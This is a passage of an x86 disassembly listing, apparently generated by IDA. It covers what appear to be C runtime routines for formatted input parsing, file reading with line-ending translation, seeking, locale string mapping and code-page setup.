jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_4395A0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_4397AC, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_48B340[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_43BC20 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_48B440 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:48B340h[eax*4] mov eax, dword_48B340[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 2621026h nop test eax, eax jnz short loc_41E3E9 nop call near ptr 264030Ch push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_48A014, 9 mov dword_48A018, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2621026h nop test eax, eax jnz short loc_41E48A nop call near ptr 264030Ch test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_48A018, 0 mov dword_48A014, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_48B440 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_48A014, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 26C0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B nop call near ptr 264030Ch jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_48A018, 0 mov dword_48A014, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_48B340[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_48A014, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_48A0C0, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi call near ptr 2870000h nop test eax, eax jz short loc_41E75D mov dword_48A0C0, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_43C824 push esi push edi nop call near ptr 2860000h test eax, eax jz loc_41E897 mov dword_48A0C0, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_48A0C0 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2620000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2620000h nop test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2870000h nop test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 27A0000h nop mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_48B444 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_43B940 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_43BA30 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi call near ptr 287135Ch nop cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 cmp [ebp+var_18], 1 mov dword_48B444, esi rep stosd stosb mov dword_48B664, ebx jbe loc_41EA96 cmp [ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_48B561[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43B950[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, byte_43B938[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or byte_48B561[eax], dl inc eax cmp eax, edi jbe short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_48B45C, 1 push eax mov dword_48B444, eax call sub_41EB10 lea esi, dword_43B944[esi] mov edi, offset dword_48B450 movsd movsd pop ecx mov dword_48B664, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_48B561[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_48B664, eax mov dword_48B45C, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_48B45C, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_48B450 stosd stosd stosd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_48A0C4, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_48A0C4, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_48A0C4, 1 jmp near ptr 25F02D0h ; --------------------------------------------------------------------------- db 11h ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_48A0C4, 1 nop jmp near ptr 2871B9Fh ; --------------------------------------------------------------------------- loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_48A0B8 mov dword_48A0C4, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; 